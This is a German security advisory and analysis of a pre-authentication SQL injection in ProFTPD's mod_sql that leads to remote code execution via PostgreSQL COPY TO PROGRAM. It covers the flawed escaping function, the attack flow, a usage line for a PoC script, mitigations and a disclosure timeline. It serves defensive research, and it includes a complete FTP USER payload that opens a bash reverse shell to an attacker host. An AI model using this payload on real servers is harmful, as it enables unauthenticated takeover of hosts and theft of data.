
# Pre-Auth RCE in ProFTPD über mod_sql is_escaped_text()-Umgehung (CVE-2026-42167)
mod_sql SQL-InjectionAutor: Van Glenndon Enad
Ursprüngliche Entdeckung: ZeroPath
Veröffentlicht: 1. Mai 2026
Schweregrad: Kritisch
CVSS v3.1-Score: 8.1
CVSS v3.1-Vektor: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v2-Score: 7.6
CVSS v2-Vektor: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (SQL-Injection), CWE-78 (OS-Command-Injection)
CVE-2026-42167 ist eine kritische SQL-Injection-Schwachstelle vor der Authentifizierung im mod_sql-Erweiterungsmodul von ProFTPD. Ein Logikfehler in der Funktion is_escaped_text() ermöglicht es einem nicht authentifizierten Angreifer, die SQL-Zeichen-Escaping zu umgehen, indem er einen USER-Befehl mit einem Wert erstellt, der eine fehlerhafte „bereits maskierte"-Heuristik erfüllt. Das injizierte SQL wird direkt über PQexec() an die Backend-Datenbank übergeben, die gestapelte Abfragen unterstützt.
Wenn die ProFTPD-Datenbankrolle ein PostgreSQL-Superuser ist – eine häufige Fehlkonfiguration in Container-Bereitstellungen – erreicht die Injektion die COPY TO PROGRAM-Direktive von PostgreSQL, was zu nicht authentifizierter Remote Code Execution auf Betriebssystemebene als Systembenutzer postgres führt. Es sind keine Anmeldeinformationen, kein vorheriger Zugriff und keine Benutzerinteraktion erforderlich.
| Komponente | Version |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Modul | mod_sql + mod_sql_postgres |
| Behobene Version | 1.3.9a (veröffentlicht am 27. April 2026) |
| Backend | PostgreSQL (RCE); MySQL / SQLite (nur Auth-Bypass) |
ProFTPD ist ein weit verbreiteter Open-Source-FTP-Server. Laut Shodan existieren über 160.000 öffentlich zugängliche ProFTPD-Instanzen im Internet. Das mod_sql-Modul ist in Shared-Hosting-Control-Panels wie cPanel, Plesk, DirectAdmin, Webmin und ISPConfig üblicherweise aktiviert.
Das mod_sql-Modul von ProFTPD unterstützt SQL-basierte Authentifizierung und Aktivitätsprotokollierung. Protokollformatzeichenfolgen können Substitutionsvariablen wie %U (Benutzername), %r (Remote-Host) und %m (FTP-Befehl) enthalten. Diese Variablen werden zur Laufzeit expandiert und in SQL-Abfragen eingefügt, die gegen das konfigurierte Backend ausgeführt werden.
Eine typische anfällige Konfiguration:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
In dieser Konfiguration wird der im FTP-USER-Befehl gelieferte Wert für %U substituiert und direkt in eine SQL-INSERT-Anweisung aufgenommen. Vor dem Einfügen wird der Wert durch is_escaped_text() geleitet, um zu bestimmen, ob ein Escaping erforderlich ist. Diese Funktion enthält einen kritischen logischen Fehler.
is_escaped_text()Die Funktion befindet sich in contrib/mod_sql.c und wendet die folgende Heuristik an, um zu entscheiden, ob eine Zeichenfolge „bereits maskiert" ist:
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Assume the string is escaped if:
* 1. It starts with a single quote
* 2. It ends with a single quote
* 3. It contains no internal single quotes
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* skip escaping */
}
return FALSE;
}
Wenn diese Funktion TRUE zurückgibt, fügt sql_resolved_append_text() (Zeile 777) den rohen, nicht maskierten Wert direkt in die Abfragezeichenfolge ein. Der Wert wird dann von PQexec() in contrib/mod_sql_postgres.c (Zeile 1146) ausgeführt, das gestapelte (Multi-Statement-)Abfragen unterstützt.
Die Heuristik sollte wahrscheinlich Zeichenfolgen erkennen, die bereits von SQL-String-Trennzeichen umgeben sind. Sie versucht jedoch nicht zu überprüfen, ob der innere Inhalt sicher ist – nur, dass keine zusätzlichen einfachen Anführungszeichen vorhanden sind. Das bedeutet, dass jede Payload, die:
' beginnt' endet$$-Dollar-Quoting verwendet)...die Prüfung besteht und unverändert in die SQL-Abfrage injiziert wird.
FTP Client ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ expand %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ skip escaping │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ execute stacked SQL
│ │ │ COPY TO PROGRAM
│ │ │── shell command ──▶ OS
| Anforderung | Hinweise |
|---|---|
mod_sql mit SQL-Protokollierung aktiviert | Muss eine Pre-Auth-Variable wie %U protokollieren |
| PostgreSQL-Backend | Erforderlich für COPY TO PROGRAM RCE; MySQL/SQLite erlauben weiterhin Auth-Bypass |
| DB-Rolle ist PostgreSQL-Superuser | COPY TO PROGRAM ist auf Superuser oder Mitglieder von pg_execute_server_program beschränkt |
bash auf dem DB-Host verfügbar | Erforderlich für /dev/tcp-Reverse-Shell-Zustellung |
| Netzwerkerreichbarkeit | Der PostgreSQL-Container muss den Angreifer auf dem Listener-Port erreichen können |
Die Superuser-Bedingung ist in Container-Bereitstellungen häufig erfüllt, wenn der ProFTPD-DB-Benutzer über POSTGRES_USER=... im offiziellen PostgreSQL-Docker-Image erstellt wird oder wenn ein Administrator der ProFTPD-Rolle den Besitz der Datenbank gewährt.
Schritt 1: Angreifer sendet manipulierten USER-Befehl (Pre-Auth, keine Anmeldeinformationen erforderlich)
│
▼
Schritt 2: ProFTPD expandiert %U mit dem vom Angreifer kontrollierten Wert
│
▼
Schritt 3: is_escaped_text()-Bypass — rohes SQL passiert unescaped
│
▼
Schritt 4: PQexec() führt gestapelte Abfrage gegen PostgreSQL aus
│
▼
Schritt 5: COPY TO PROGRAM führt Angreifer-Shell-Befehl als postgres-OS-Benutzer aus
│
▼
Schritt 6: Reverse Shell / Datei-Exfiltration wird an den Angreifer geliefert
Die Injektions-Payload wird über den FTP-USER-Befehl geliefert:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| Bedingung | Erfüllt? | Grund |
|---|---|---|
Beginnt mit ' | ✅ | Erstes Zeichen ist ' |
Endet mit ' | ✅ | Letztes Zeichen ist ' |
| Keine inneren einfachen Anführungszeichen | ✅ | Innere Zeichenfolgen verwenden $$-Dollar-Quoting |
| Segment | Zweck |
|---|---|
', null, null); | Schließt die ursprüngliche INSERT-Anweisung sauber ab |
COPY (SELECT $$x$$) TO PROGRAM | Gestapelte Abfrage mit PostgreSQL COPY TO PROGRAM |
$$bash -c ...$$ | Shell-Befehl mit $$-Dollar-Quoting zur Vermeidung einfacher Anführungszeichen |
; --' | Beendet die gestapelte Abfrage; --' kommentiert den Rest aus und liefert das schließende ' für den Bypass |
Warnung: Dieser PoC dient ausschließlich Bildungs- und autorisierten Testzwecken. Verwenden Sie ihn nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
Beispielverwendung:
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| Kategorie | Beschreibung |
|---|---|
| Vertraulichkeit | Voller Lesezugriff auf das Dateisystem als postgres-OS-Benutzer |
| Integrität | Möglichkeit zum Schreiben von Dateien, Ändern von Datenbankinhalten, Installieren von Backdoors |
| Verfügbarkeit | Dienstunterbrechung, Datenzerstörung möglich |
| Authentifizierung | Ausnutzbar mit null Anmeldeinformationen vor der Authentifizierung |
| Umfang | Erstreckt sich über ProFTPD hinaus auf den zugrunde liegenden PostgreSQL-Host |
Jedes System, auf dem ProFTPD zusammen mit einer PostgreSQL-Instanz betrieben wird oder Superuser-Zugriff darauf hat, ist von einer vollständigen Host-Kompromittierung bedroht. Laterale Bewegung zu angrenzenden Systemen und Persistenz über Cron-Jobs oder SSH-Key-Injektion sind nach der Ausnutzung trivial erreichbar.
is_escaped_text() mit ordnungsgemäßer Behandlung parametrisierter Abfragenmod_sql-basierte Protokollierung vollständig (entfernen Sie SQLLog-Direktiven)%U, %r, %m) aus SQLNamedQuery-DefinitionenINSERT auf die Protokolltabelle und SELECT auf die Auth-TabelleUSER-Befehle mit einfachen Anführungszeichen, COPY, PROGRAM oder SQL-Schlüsselwörtern| Datum | Ereignis |
|---|---|
| 28. März 2026 | Schwachstelle an ProFTPD-Maintainer gemeldet |
| 7. April 2026 | Patch-Verifizierung begonnen |
| 24. April 2026 | CVE-2026-42167 zugewiesen |
| 27. April 2026 | Fix committet; ProFTPD 1.3.9a veröffentlicht |
| 28. April 2026 | Auf NVD veröffentlicht |
| 28.–29. April 2026 | Öffentliche PoC-Repositories auf GitHub veröffentlicht |
| 1. Mai 2026 | Unabhängige Analyse und vereinfachter PoC veröffentlicht |
Rechtlicher Hinweis: Diese Analyse und der Proof of Concept werden ausschließlich zu Bildungs-, Forschungs- und defensiven Sicherheitszwecken veröffentlicht. Der Autor befürwortet keinen unbefugten Zugriff auf Computersysteme. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie Sicherheitstests gegen Systeme durchführen, die Sie nicht besitzen.